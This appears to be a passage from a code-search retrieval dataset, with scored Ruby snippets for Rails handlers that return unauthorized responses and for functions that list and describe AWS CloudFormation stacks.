"text": "def unauthorized\n respond_to do |format|\n format.html do\n if try_spree_current_user\n flash.now[:error] = t(:authorization_failure)\n render 'spree/shared/unauthorized', :layout => Spree::Config[:layout], :status => 401\n else\n store_location\n url = respond_to?(:spree_login_path) ? spree_login_path : root_path\n redirect_to url\n end\n end\n format.xml do\n request_http_basic_authentication 'Web Password'\n end\n format.json do\n render :text => \"Not Authorized \\n\", :status => 401\n end\n end\n end",
"title": ""
},
{
"docid": "f2a2c9dd223b2d26c791d352e6d890f5",
"score": "0.70353043",
"text": "def rescue_unauthorized\n render nothing: true, status: 403\n end",
"title": ""
},
{
"docid": "f2a2c9dd223b2d26c791d352e6d890f5",
"score": "0.70353043",
"text": "def rescue_unauthorized\n render nothing: true, status: 403\n end",
"title": ""
},
{
"docid": "0eb2020643eccaea74250ce28faaeee7",
"score": "0.70332634",
"text": "def unauthorized\n\n render_error( :unauthorized )\n\n end",
"title": ""
},
{
"docid": "71ea1c8af46fed0e1879ad316d9b528a",
"score": "0.7027674",
"text": "def access_denied\n case content_type\n when :html\n store_location\n redirect url(:login)\n when :xml\n headers[\"Status\"] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n set_status(401)\n render :text => \"Couldn't authenticate you\"\n end\n end",
"title": ""
},
{
"docid": "295f4f7d6308b1ad9b6d65583d06a17d",
"score": "0.70053464",
"text": "def unauthorized\n head :unauthorized\n end",
"title": ""
},
{
"docid": "7d7ae6af1f33be9a960c061d2f8273ea",
"score": "0.7001422",
"text": "def render_401\n errors = JsonApiServer.errors(\n status: 401,\n title: I18n.t('json_api_server.render_401.title'),\n detail: I18n.t('json_api_server.render_401.detail')\n )\n render json: errors.to_json, status: 401\n end",
"title": ""
},
{
"docid": "3f3fa3d3f786eb691d2960f45c5110e9",
"score": "0.6999218",
"text": "def not_authorised\n headers['WWW-Authenticate'] = 'Basic realm=\"Restricted Area\"'\n error(401, 'Not authorised.')\n end",
"title": ""
},
{
"docid": "b23142c11923a7859a4226653f642b54",
"score": "0.6998459",
"text": "def restricted_login!\n return true if authenticate_token_restricted\n render json: { errors: [ { detail: \"Access denied\" } ] }, status: 401\n end",
"title": ""
},
{
"docid": "0e170c8beb13ef5fc0244f10a318260a",
"score": "0.69922394",
"text": "def authenticate_user!\n unless current_user\n render :json => {'error' => 'authentication error'}, :status => 401\n end\n end",
"title": ""
},
{
"docid": "37c76d54c5c295c8934fd993675cc368",
"score": "0.6975633",
"text": "def access_denied\n if @current_user\n render_401\n else\n redirect_to \"#{FUSESOURCE_URL}/login?return_to=#{external_url_to(request.request_uri)}\"\n end\n end",
"title": ""
},
{
"docid": "eb0777610ddb5b46581513a36e107150",
"score": "0.6967853",
"text": "def unauthorized\n render :text => \"You are not authorized to perform this action\", :status => 401\n end",
"title": ""
},
{
"docid": "95f1f62a91f034caa1def4a8e59b9653",
"score": "0.696607",
"text": "def unauthorized\n render_json error: 'Access Not Authorized', status: :forbidden\n end",
"title": ""
},
{
"docid": "611d6bcfc19b09eaa7fd62f6a79ef3ad",
"score": "0.69491297",
"text": "def ensure_authenticated_user\n render json: {message: 'Unauthorized'}, status: 401 unless current_user\n # head :unauthorized unless current_user\n end",
"title": ""
},
{
"docid": "3019ceb545820cb85dd10d1e9f999518",
"score": "0.69452333",
"text": "def require_authentication\n render_failed_auth_response unless authentication_successful? # render a 401 error\n end",
"title": ""
},
{
"docid": "4bd89245c05b0b88bac8abe9be930e57",
"score": "0.6927319",
"text": "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end",
"title": ""
},
{
"docid": "946c3da2302299831d34bde5c7a3b80b",
"score": "0.6910116",
"text": "def role_authorization_failure_response\n render nothing: true, status: :unauthorized\n end",
"title": ""
},
{
"docid": "8ccb31b7331b154eba9521ff1036407a",
"score": "0.69006866",
"text": "def allow_client_to_handle_unauthorized_status\n headers.delete('WWW-Authenticate')\n end",
"title": ""
},
{
"docid": "6a15fb3d165929cf03ae1d745ba4cd2f",
"score": "0.6893424",
"text": "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end",
"title": ""
},
{
"docid": "376fc91416958838b36a85ac213483e4",
"score": "0.6886921",
"text": "def authenticate_request\n if auth_token_expired?\n fail AuthenticationTimeoutError\n elsif !@current_user\n render json: { error: \"401\" }, status: :unauthorized\n end\n end",
"title": ""
},
{
"docid": "5973d5288c68aa60a28c83714d9b8f7f",
"score": "0.68824565",
"text": "def access_denied\n store_location\n redirect_to root_path(:target => request.request_uri)\n #respond_to do |format|\n # format.json do\n # render :partial => \"json/response\",\n # :locals => {\n # :success => false,\n # :message => \"Authorization Required\",\n # :body => nil}\n # end\n # format.html do \n # redirect_to root_path#(:after_login => request.request_uri)\n # end\n #end\n end",
"title": ""
},
{
"docid": "020eb52bfe497c4a2c2ec7e329231ff1",
"score": "0.6870986",
"text": "def respond_with_unauthorized(message: \"Unauthorized\", error_code: \"unauthorized\")\n render partial: \"api/error\", locals: { message: message, error_code: error_code }, status: 401\n return false\n end",
"title": ""
},
{
"docid": "f8cc6a62fe05190bfe431bc66b8a0bc6",
"score": "0.6853295",
"text": "def unauthorized_response\n respond_to do |format|\n format.json { render json: {error: 'admin_required'}, status: :unauthorized }\n format.any { head :unauthorized }\n end\n end",
"title": ""
},
{
"docid": "9995db57465704dbbb68f741ba2ab81c",
"score": "0.68491185",
"text": "def authenticate_user!\n return if current_user\n render json: json_message(errors: 'Acceso denegado. Por favor ingresa.'), status: 401\n end",
"title": ""
},
{
"docid": "3f70d11d8b991a5c380d622288485f88",
"score": "0.6847115",
"text": "def authenticate_user!\n unless current_user?\n render status: :unauthorized\n end\n end",
"title": ""
},
{
"docid": "2bddc4159624ae7b0b06fc0f05a9accb",
"score": "0.6844205",
"text": "def authenticate\n respond_to do |format|\n format.js { render nothing: true, status: 401 if current_user.nil? }\n format.html { redirect_to root_url if current_user.nil? }\n end\n end",
"title": ""
},
{
"docid": "f1f41b81c48c69316c6a2a51c38a9f00",
"score": "0.6834973",
"text": "def invalid_authentication\n render json: {message: 'Invalid Request'}, status: :unauthorized\n end",
"title": ""
},
{
"docid": "6e968b53931f64313505ec386d384436",
"score": "0.6833068",
"text": "def access_denied\n clear_session\n respond_to do |format|\n format.html { redirect_to login_path and return false }\n format.xml do\n headers['Status'] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n render :text =>'Unauthorized', :status=>401\n end\n end\n end",
"title": ""
},
{
"docid": "51e1577a5b382567c09a8fb58fb8aa15",
"score": "0.68281335",
"text": "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end",
"title": ""
},
{
"docid": "51e1577a5b382567c09a8fb58fb8aa15",
"score": "0.68281335",
"text": "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end",
"title": ""
},
{
"docid": "51e1577a5b382567c09a8fb58fb8aa15",
"score": "0.68281335",
"text": "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end",
"title": ""
},
{
"docid": "51e1577a5b382567c09a8fb58fb8aa15",
"score": "0.68281335",
"text": "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end",
"title": ""
},
{
"docid": "51e1577a5b382567c09a8fb58fb8aa15",
"score": "0.68281335",
"text": "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end",
"title": ""
},
{
"docid": "97578d2e732b225e6073992cfe759597",
"score": "0.68278044",
"text": "def authenticate_error\n render json: { error: t('devise.failure.unauthenticated') }, status: 401\n end",
"title": ""
},
{
"docid": "05c50161c6baceea6c6e525a28de3aa5",
"score": "0.68247765",
"text": "def render_unauthorized(message)\n head :unauthorized\n end",
"title": ""
},
{
"docid": "a2c67ab58ddd344a0e750684c674a7a8",
"score": "0.6824431",
"text": "def require_login\n @response.add_header('WWW-Authenticate', \"Basic realm=\\\"#{@realm}\\\"\")\n @response.status = 401\n end",
"title": ""
},
{
"docid": "7bb0683bc3a10df603699e5a453c1cee",
"score": "0.6821684",
"text": "def error_401\n\t\t\tjson_error 'Unauthorized', 401,\n\t\t\t\t'WWW-Authenticate' => \"Basic realm=\\\"#{Nacreon::Config.domain}\\\"\"\n\t\tend",
"title": ""
},
{
"docid": "dbe07b4df955890ce33e7b906ba92fbd",
"score": "0.6813812",
"text": "def invalid_authentication\n render json: { error: 'Not Authenticated' }, status: :unauthorized\n end",
"title": ""
},
{
"docid": "9ea16d9c856a719771f6840a9ef93852",
"score": "0.6803327",
"text": "def authenticate_user!\n unless @current_user\n head :unauthorized\n end\n end",
"title": ""
},
{
"docid": "3cb6f1da850e2a4283697a35d60140cf",
"score": "0.6798734",
"text": "def auth_failed(response)\n response && response.code == 401\n end",
"title": ""
},
{
"docid": "95d179538352a7298c4b21f942e0f848",
"score": "0.6789463",
"text": "def unauthorized\n render :json => \"You are not authorized for access.\", :status => :unauthorized\n end",
"title": ""
},
{
"docid": "45ba5bc652dcd393b4ca8e22d273c921",
"score": "0.67889893",
"text": "def invalid_authentication\n render json: {error: 'Invalid request'}, status: :unauthorized\n end",
"title": ""
},
{
"docid": "3c42311f8721bc4daa5d7a9d02ee8c92",
"score": "0.6782893",
"text": "def access_denied\n respond_to do |format|\n format.html {\n flash[:error] = \"Sie sind nicht angemeldet oder nicht berechtigt, auf die angeforderte Seite zuzugreifen.\"\n render text: \"\", layout: true, status: :unauthorized\n }\n \n format.any {\n head status: :unauthorized\n }\n end\n end",
"title": ""
},
{
"docid": "973e2357c543e7f426265c53dcd90957",
"score": "0.6777278",
"text": "def render_failed_auth_response\n render status: 401,\n json: json_response(:fail, data: {user: \"Valid username and token must be present.\"})\n end",
"title": ""
},
{
"docid": "0f4f579c24ae4bc50294884b56d48d00",
"score": "0.67764676",
"text": "def invalid_authentication\n render json: {errors: {code: 401, message: \"You need to sign in\"}}, status: :unauthorized\n end",
"title": ""
},
{
"docid": "629f7817e4cdd260c59bf27c3ff050fc",
"score": "0.6775908",
"text": "def invalid_authentication\n render json: { error: 'Invalid Request' }, status: :unauthorized\n end",
"title": ""
},
{
"docid": "629f7817e4cdd260c59bf27c3ff050fc",
"score": "0.6775908",
"text": "def invalid_authentication\n render json: { error: 'Invalid Request' }, status: :unauthorized\n end",
"title": ""
},
{
"docid": "629f7817e4cdd260c59bf27c3ff050fc",
"score": "0.6775908",
"text": "def invalid_authentication\n render json: { error: 'Invalid Request' }, status: :unauthorized\n end",
"title": ""
},
{
"docid": "629f7817e4cdd260c59bf27c3ff050fc",
"score": "0.6775908",
"text": "def invalid_authentication\n render json: { error: 'Invalid Request' }, status: :unauthorized\n end",
"title": ""
},
{
"docid": "7afdf85bee5886499dc4f1573b39b63c",
"score": "0.67749226",
"text": "def render_unauthorized(payload = { errors: { unauthorized: [\"You are not authorized perform this action.\"] } })\n render json: payload, status: 401\n end",
"title": ""
},
{
"docid": "cb11d576407e782d5cbdfb8c4771ad9d",
"score": "0.6773359",
"text": "def access_denied\nrespond_to do |format|\nformat.html do\nstore_location\nredirect_to new_session_path\nend\nformat.any do\nrequest_http_basic_authentication 'Web Password'\nend\nend\nend",
"title": ""
},
{
"docid": "e3ca2c33b4021c645865ec6c8f41f6f2",
"score": "0.67608565",
"text": "def invalid_authentication\n render json: { error: 'Unauthorized' }, status: :unauthorized\n end",
"title": ""
},
{
"docid": "191e90037c809dc38b838a45e573b6c5",
"score": "0.6757897",
"text": "def require_login!\n return true if authenticate_token\n render json: { errors: [ { detail: \"Access denied\" } ] }, status: 401\n end",
"title": ""
},
{
"docid": "191e90037c809dc38b838a45e573b6c5",
"score": "0.6757897",
"text": "def require_login!\n return true if authenticate_token\n render json: { errors: [ { detail: \"Access denied\" } ] }, status: 401\n end",
"title": ""
},
{
"docid": "ba053e252c227731ed260700c63d9671",
"score": "0.6754497",
"text": "def authenticate_user!\n \tunless current_user?\n \trender status: :unauthorized\n \tend\n end",
"title": ""
},
{
"docid": "2c46095ba842a009c075fc5bf5f596af",
"score": "0.6723657",
"text": "def unauthenticated\n render_json status: :unauthorized\n end",
"title": ""
},
{
"docid": "ba4369dbb506b6ed647fc7702e16dd46",
"score": "0.670887",
"text": "def access_denied\n respond_to do |format|\n format.html do\n store_location\n redirect_to new_session_path\n end\n format.any do\n request_http_basic_authentication 'Web Password'\n end\n end\n end",
"title": ""
},
{
"docid": "011356b7a219632af683345081b36912",
"score": "0.6708784",
"text": "def unauthorized\n end",
"title": ""
},
{
"docid": "1d5e4e2a6f9fdc318295444d7203084b",
"score": "0.66968405",
"text": "def authenticate_with_token!\n render json: { errors: 'Acesso não autorizado!' }, status: 401 unless user_logged_in?\n end",
"title": ""
},
{
"docid": "8c739c3defdcab82466e670d502b575d",
"score": "0.66899854",
"text": "def invalid_authentication\n render json: { error: 'Invalid request' }, status: 403\n end",
"title": ""
},
{
"docid": "5a01daa2c0e632f4589dcdfaf8231062",
"score": "0.6689159",
"text": "def render_failed_auth_response\n render status: 401,\n json: json_response(:fail, data: {user: \"Valid email and token must be present.\"})\n end",
"title": ""
},
{
"docid": "5bb79f524b4f922ecece7e7316060614",
"score": "0.66888934",
"text": "def authenticate\n # return if unauthorized?\n\n # render json: {\n # message: I18n.t('api.v1.error_messages.unauthorized')\n # }, status: :unauthorized\n end",
"title": ""
},
{
"docid": "12841e401d0c5f20c0f19c393bdd4d17",
"score": "0.6682841",
"text": "def render_must_sign_in\n render status: :unauthorized\n end",
"title": ""
},
{
"docid": "6d3c306e207a5e7f1693c1ab3be8f1a6",
"score": "0.66724586",
"text": "def protected!\n unless authorized?\n response['WWW-Authenticate'] = %(Basic realm=\"Restricted Area\")\n throw(:halt, [401, \"Not authorized\\n\"])\n end\n end",
"title": ""
},
{
"docid": "490a1043a49178e34ed7872836123a63",
"score": "0.6670477",
"text": "def ensure_authenticated_user\r\n head :unauthorized unless current_user\r\n end",
"title": ""
},
{
"docid": "4132ea20a6ca30d053dfb5adfca538fe",
"score": "0.66533893",
"text": "def access_denied\n respond_to do |accepts|\n accepts.html do\n store_location\n redirect_to :controller => '/accounts', :action => 'login'\n end\n accepts.js do\n render(:update) { |page| page.redirect_to(:controller => '/accounts', :action => 'login') }\n end\n accepts.xml do\n headers[\"Status\"] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n render :text => \"Could't authenticate you\", :status => '401 Unauthorized'\n end\n end\n false\n end",
"title": ""
},
{
"docid": "4b1e364b3edeb73409eccd87059d45be",
"score": "0.6624571",
"text": "def failure\n render :json => {:success => false, :errors => {:reason => \"Login failed. Try again\"}}, :status => 401\n end",
"title": ""
},
{
"docid": "3900f0ec2590802bdccd8e2f06613cbb",
"score": "0.6624558",
"text": "def access_denied\n respond_to do |accepts|\n accepts.html do\n store_location\n redirect_to '/login'\n end\n accepts.xml do\n headers[\"Status\"] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n render :text => \"Could't authenticate you\", :status => '401 Unauthorized'\n end\n end\n false\n end",
"title": ""
},
{
"docid": "2b104dcb78be7210857a40340774d2c7",
"score": "0.6622501",
"text": "def access_denied\n puts \"access denied\"\n respond_to do |accepts|\n accepts.html do\n store_location\n # render :text => \"Authentication failed: access denied\"\n redirect_to log_in_path\n end\n accepts.json do\n render :json => {:success => false, :message => \"Authentication failed\"}\n end\n accepts.xml do\n headers[\"Status\"] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n render :text => \"Could't authenticate you\", :status => '401 Unauthorized'\n end\n end\n false\n end",
"title": ""
},
{
"docid": "a7554124efdde8073d3c9bee24146a44",
"score": "0.66028905",
"text": "def authorize\n render :text => \"Authorization error\", :status => 401\n false\n end",
"title": ""
},
{
"docid": "312cc7802ea6c13a8220867ff64a7e3e",
"score": "0.65967834",
"text": "def authenticate_request\n @current_user = AuthorizeApiRequest.call(request.headers).result\n render json: { error: 'Not Authorized' }, status: 401 unless @current_user\n end",
"title": ""
},
{
"docid": "834d605706cd7195c3872a323008f09f",
"score": "0.6595712",
"text": "def unauthorized_request(e)\n render json: { message: e.message }, status: :unauthorized\n end",
"title": ""
},
{
"docid": "834d605706cd7195c3872a323008f09f",
"score": "0.6595712",
"text": "def unauthorized_request(e)\n render json: { message: e.message }, status: :unauthorized\n end",
"title": ""
},
{
"docid": "2ae51b170845e358b740275da2704a3e",
"score": "0.6589479",
"text": "def authenticate_user\n\t\trender_unauthorized unless current_user\n\tend",
"title": ""
},
{
"docid": "1806fd10c8fb820ecc425e50f0d271ef",
"score": "0.65855056",
"text": "def authenticate_request\n @current_user = AuthorizeApiRequest.call(request.headers).result\n render json: { error: 'Not Authorized' }, status: 401 unless @current_user\n end",
"title": ""
},
{
"docid": "78dbeecd7024b7b3e19a97406f2595cf",
"score": "0.6585131",
"text": "def authenticate\n authenticate_token || render_unauthorized\nend",
"title": ""
},
{
"docid": "1fa382e32c672bdea5a24e8b77fa7ecd",
"score": "0.65821594",
"text": "def require_auth\n head :unauthorized unless current_user\n end",
"title": ""
}
] |
900578b5cbb16b4a0a5dd3aa1380f6f9 | Get list of AWS CF stacks | [
{
"docid": "d2db4a78185cfcb9d7c36e9b81eeb609",
"score": "0.7961304",
"text": "def get_aws_cf_stacks(options)\n cf = initiate_aws_cf_client(options['access'],options['secret'],options['region'])\n begin\n stacks = cf.describe_stacks.stacks \n rescue Aws::CloudFormation::Errors::AccessDenied\n handle_output(options,\"Warning:\\tUser needs to be given appropriate rights in AWS IAM\")\n quit(options)\n end\n return stacks\nend",
"title": ""
}
] | [
{
"docid": "ea8e3e3d7f457cb7416a64c133a648f7",
"score": "0.84098905",
"text": "def list_aws_cf_stacks(options)\n if not options['name'].to_s.match(/[A-Z]|[a-z]|[0-9]/)\n options['name'] = \"all\"\n end\n stacks = get_aws_cf_stacks(options)\n stacks.each do |stack|\n stack_name = stack.stack_name\n if options['name'].to_s.match(/all/) or stack_name.match(/#{options['name']}/)\n stack_id = stack.stack_id\n stack_status = stack.stack_status\n name_length = stack_name.length\n name_spacer = \"\"\n name_length.times do\n name_spacer = name_spacer+\" \"\n end\n handle_output(options,\"#{stack_name} id=#{stack_id} stack_status=#{stack_status}\") \n instance_id = \"\"\n public_ip = \"\"\n region_id = \"\"\n stack.outputs.each do |output|\n if output.output_key.match(/InstanceId/)\n instance_id = output.output_value\n end\n if output.output_key.match(/PublicIP/)\n public_ip = output.output_value\n end\n if output.output_key.match(/AZ/)\n region_id = output.output_value\n end\n if output.output_key.match(/DNS/)\n public_dns = output.output_value\n handle_output(options,\"#{name_spacer} id=#{instance_id} ip=#{public_ip} dns=#{public_dns} az=#{region_id}\") \n end\n end\n end\n end\n return\nend",
"title": ""
},
{
"docid": "ecae3e2ca926f842fd6499ee37483353",
"score": "0.74869514",
"text": "def cf_stacks\n return @cf_stacks if defined? @cf_stacks\n\n cf = AWS::CloudFormation.new(@task.aws_config)\n @cf_stacks = cf.stacks\n end",
"title": ""
},
{
"docid": "2506f1782bcf6b806bf9fbfe644648cb",
"score": "0.7453288",
"text": "def list_available_solution_stacks()\n request({\n 'Operation' => 'ListAvailableSolutionStacks',\n :parser => Fog::Parsers::AWS::ElasticBeanstalk::ListAvailableSolutionStacks.new\n })\n end",
"title": ""
},
{
"docid": "18649007d69e835ecf59d17b83673a6b",
"score": "0.7400431",
"text": "def all_stacks\n @all_stacks ||= AWSEnumerator.new(aws_client, :describe_stacks, &method(:map_stacks)).to_a\n end",
"title": ""
},
{
"docid": "6b5f7f14cc957e08d8cae0b90a06c422",
"score": "0.729834",
"text": "def cf_stacks\n return @cf_stacks if defined? @cf_stacks\n\n cf = AWS::CloudFormation.new(:region => @task.region)\n @cf_stacks = cf.stacks\n end",
"title": ""
},
{
"docid": "70dbac162e27221d9b5fc2da77fd241d",
"score": "0.72211945",
"text": "def ls_account_stacks\n print_table Aws::Cfn.stacks.map { |s|\n ls_stack_fields(s)\n }.sort\n end",
"title": ""
},
{
"docid": "7c6e3a603c3f14948a1e36632a967f58",
"score": "0.72116095",
"text": "def stack_resources(stack_name)\n begin\n stack_resources = aws_cloud_formation.client.list_stack_resources(:stack_name => stack_name).try(:stack_resource_summaries)\n rescue Aws::CloudFormation::Errors::ValidationError => _e\n # When Stack was deleted we want to return empty list of resources\n end\n\n hash_collection.new(stack_resources || [])\n end",
"title": ""
},
{
"docid": "639db2d429c34f85bd315dd4e36d4918",
"score": "0.71441174",
"text": "def stack_resources(stack_name)\n begin\n stack_resources = aws_cloud_formation.client.list_stack_resources(:stack_name => stack_name)\n if stack_resources.respond_to?(:stack_resource_summaries)\n stack_resources = stack_resources.flat_map(&:stack_resource_summaries)\n else\n stack_resources = nil\n end\n rescue Aws::CloudFormation::Errors::ValidationError => _e\n # When Stack was deleted we want to return empty list of resources\n end\n\n hash_collection.new(stack_resources || [])\n end",
"title": ""
},
{
"docid": "f0e0898526c5e5d4e306a3a86555afe2",
"score": "0.71073973",
"text": "def ls_staxfile_stacks\n print_table Stax.stack_list.map { |id|\n name = stack(id).stack_name\n if (s = Aws::Cfn.describe(name))\n ls_stack_fields(s)\n else\n [ name, '-' ]\n end\n }\n end",
"title": ""
},
{
"docid": "dbb63123f25ad0555310b0d8fafdbedd",
"score": "0.6992448",
"text": "def ls_stacks_with_prefix(prefix)\n print_table Aws::Cfn.stacks.select { |s|\n s.stack_name.start_with?(prefix || stack_prefix)\n }.map { |s|\n ls_stack_fields(s)\n }.sort\n end",
"title": ""
},
{
"docid": "8952f271ec79466457acc88c3d0504c5",
"score": "0.69422793",
"text": "def describe(options = {})\n require_options(options, [:stack_name])\n return @cloud_formation.describe_stacks('StackName' => options[:stack_name]).body[\"Stacks\"][0] rescue nil\n end",
"title": ""
},
{
"docid": "a209fd1b12e0e07581570fa83fe50111",
"score": "0.68901885",
"text": "def list_stacks(bot_name, options={})\n deprecate # 07/31/2012\n include_deprecated = options.delete(:include_deprecated) || false\n\n json_decode get(\"/bots/#{bot_name}/stack\",\n :params => { :include_deprecated => include_deprecated },\n :accept => 'application/json'\n ).to_s\n end",
"title": ""
},
{
"docid": "0db5710e3bc457cacea00641490d5f47",
"score": "0.68719214",
"text": "def get_sub_stacks( stack_name)\n substacks = Array.new()\n stacks = self.list_stack_resources(stack_name)\n stacks.each do |entry|\n if entry[:resource_type] == \"AWS::CloudFormation::Stack\"\n self.describe_stacks.each do |stack|\n if entry[:physical_resource_id] == stack[:stack_id]\n substacks.push(stack)\n end\n end\n end\n end\n return substacks\n end",
"title": ""
},
{
"docid": "d53bbba623017a6a5278dd5fbcf4db21",
"score": "0.67428976",
"text": "def retrieve_stack(stack_name:)\n setup_module\n begin\n response = @cfn_client.describe_stacks(stack_name: stack_name).stacks.first\n rescue Aws::CloudFormation::Errors::ValidationError => e\n puts e\n return nil\n end\n end",
"title": ""
},
{
"docid": "8a08ba3f42367ae1786f476b28b4be36",
"score": "0.6707323",
"text": "def get_other_stack_list\n Deployinator.get_stacks\n end",
"title": ""
},
{
"docid": "5c6f59ed0ead0e566be32ac45cd94ed0",
"score": "0.67038894",
"text": "def getStackResources(stack_name)\n options = {}\n options[:stack_name] = stack_name\n\n begin\n res = @cf.describe_stack_resources(options)\n rescue\n #puts \"getStackResource: resource not found for stack #{stack_name}\"\n return nil\n end\n return res.data[:stack_resources][0]\n end",
"title": ""
},
{
"docid": "f6bed051bc55822ae227f1024a826fc1",
"score": "0.6697046",
"text": "def get_stack(stack_id, cf_client)\n\t# Does this stack exist in my region? \n\tbegin \n\t\tresp = cf_client.describe_stacks({ stack_name: stack_id})\n\t\t# Make sure resp.stacks[] has only 1 \n\t\tif resp.stacks.length > 1\n\t\t\tputs \"ERROR: Multiple Stacks with name #{stack_id} exist\".red\n\t\t\texit 1\n\t\telse\n\t\t\t# puts resp.stacks[0].inspect\n\t\t\treturn resp.stacks[0]\n\t\tend\n\trescue Aws::CloudFormation::Errors::ValidationError => e\n\t\treturn nil\n\trescue Aws::CloudFormation::Errors::ServiceError => e\n\t\tputs \"ERROR: Unknown error #{e.message}. Cannot Continue. Exiting\".red\n\t\texit 1\n\tend\nend",
"title": ""
},
{
"docid": "3ce680aec1522bad0c8a3119551f5298",
"score": "0.6669559",
"text": "def stack\n @stack ||= client.stacks.get_from_uri(info[:stack])\n end",
"title": ""
},
{
"docid": "c9eaf77b0aa666c170203fdf49e622a8",
"score": "0.66656756",
"text": "def list_orchestration_stacks(opts = {})\n data, _status_code, _headers = list_orchestration_stacks_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "c9eaf77b0aa666c170203fdf49e622a8",
"score": "0.66656756",
"text": "def list_orchestration_stacks(opts = {})\n data, _status_code, _headers = list_orchestration_stacks_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "0d32ae03e432d0f9cf27aa67ffe02db9",
"score": "0.6614262",
"text": "def get_stack(stack_name, region, cf_client)\n\t# Does this stack exist in my region?\n\tbegin\n\t\tresp = cf_client.describe_stacks({ stack_name: stack_name})\n\t\t# Make sure resp.stacks[] has only 1\n\t\tif resp.stacks.length > 1\n\t\t\tputs \"ERROR: Multiple Stacks with name #{stack_name} exist in #{region}\".red\n\t\t\texit 1\n\t\telse\n\t\t\t# puts resp.stacks[0].inspect\n\t\t\treturn resp.stacks[0]\n\t\tend\n\trescue Aws::CloudFormation::Errors::ValidationError => e\n\t\treturn nil\n\trescue Aws::CloudFormation::Errors::ServiceError => e\n\t\tputs \"ERROR: Unknown error #{e.message}. Cannot Continue. Exiting\".red\n\t\texit 1\n\tend\nend",
"title": ""
},
{
"docid": "f92f97708703551b11f63644c23a00ef",
"score": "0.65974355",
"text": "def solution_stacks\n list_available_solution_stacks.body['ListAvailableSolutionStacksResult']['SolutionStackDetails']\n end",
"title": ""
},
{
"docid": "fa25fe1c95ab903912eada2c78dddba1",
"score": "0.65928465",
"text": "def get_stack_resources(stack_name, cf_client)\n\tmy_stack = {}\n\n\t# Get the resources from describe_stack_resources()\n\tbegin\n\t\tresource_resp = cf_client.describe_stack_resources({ stack_name: stack_name })\n\t\tresources = resource_resp.stack_resources\n\t\tmy_resources = {}\n\t\t# resort it as key=value\n\t\tresources.each do |r|\n\t\t\t# But only pass along resources with good status\n\t\t\tif ResourceGoodStatus.include?(r.resource_status)\n\t\t\t\tmy_resources[r.logical_resource_id] = r.physical_resource_id\n\t\t\telse\n\t\t\t\tputs r.logical_resource_id + \" is in bad status: \" + r.resource_status\n\t\t\tend\n\t\tend\n\t\tmy_stack['Resources'] = my_resources\n\trescue Exception => e\n\t\tputs \"Error finding \" + stack_name + \" for its resources: \" + e.message\n\t\texit 1\n\t\t# puts e.inspect\n\tend\n\t# Now get the output and parameters from describe_Stacks()\n\tbegin\n\t\tmy_params = {}\n\t\tmy_outputs = {}\n\t\tstack_resp = cf_client.describe_stacks({ stack_name: stack_name })\n\n\t\t# resort it as key=vale\n\t\tstack_resp.stacks[0].parameters.each do |p|\n\t\t\tmy_params[p.parameter_key] = p.parameter_value\n\t\tend\n\n\t\tstack_resp.stacks[0].outputs.each do |o|\n\t\t\tmy_outputs[o.output_key] = o.output_value\n\t\tend\n\n\t\tmy_stack['Parameters']=my_params\n\t\tmy_stack['Outputs']=my_outputs\n\trescue Exception => e\n\t\tputs \"Error finding \" + stack_name + \" for its Parameters and Outputs: \" + e.message\n\t\texit 1\n\tend\n\treturn my_stack\nend",
"title": ""
},
{
"docid": "2b9be6fe86dce0fa54425443b028840d",
"score": "0.65652066",
"text": "def retrieve_resources(stack_name:)\n setup_module\n fail(\"#{stack_name} not found\") if retrieve_stack(stack_name: stack_name).nil?\n\n resource_summaries = Array.new\n next_token = nil\n loop do\n pagination = next_token.nil? ? { stack_name: stack_name } : { stack_name: stack_name, next_token: next_token }\n response = @cfn_client.list_stack_resources(pagination)\n resource_summaries += response.stack_resource_summaries\n break if response.next_token.nil?\n next_token = response.next_token\n end\n resource_summaries\n end",
"title": ""
},
{
"docid": "d71e35664fbd84ac82255463a2788cda",
"score": "0.6434521",
"text": "def fetch_stack\n @stack = cfn.stack(stack_id)\n @stack\n end",
"title": ""
},
{
"docid": "cd9899f8b590002275e9b7beae0987fa",
"score": "0.6352856",
"text": "def stacks\n @stacks ||= all_stacks.select do |stack|\n tags = stack.tags\n satisfies_environment(tags) &&\n satisfies_role(tags) &&\n satisfies_tags(tags)\n end\n end",
"title": ""
},
{
"docid": "060cb7ae26bd3707abe87cd4b47e22e0",
"score": "0.63467467",
"text": "def index\n @stacks = Stack.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stacks }\n end\n end",
"title": ""
},
{
"docid": "05bcdd55e55188cd0fb7699da373845f",
"score": "0.63451713",
"text": "def query_cfn(stack_name, endpoint, access_key, secret_key, token = nil)\n parameters = [\n ['Action', 'DescribeStacks' ],\n ['StackName', stack_name ],\n ['Version', '2010-05-15' ],\n ]\n response = query(parameters, endpoint, access_key, secret_key, token)\n\n if response.code != \"200\"\n Facter.debug(\"DescribeStacks returned #{response.code} #{response.message}\")\n return {}\n end\n\n doc = REXML::Document.new(response.body)\n\n cfn = {}\n\n # Stack Parameters\n doc.get_elements('//Parameters/member').each do |item|\n key = item.get_elements('ParameterKey')[0].text\n value = item.get_elements('ParameterValue')[0].text\n cfn['cfn_stack_param_' + key] = value\n end\n\n return cfn\nend",
"title": ""
},
{
"docid": "1bc8ab6449dff3464b68a4ec96755c2c",
"score": "0.6293387",
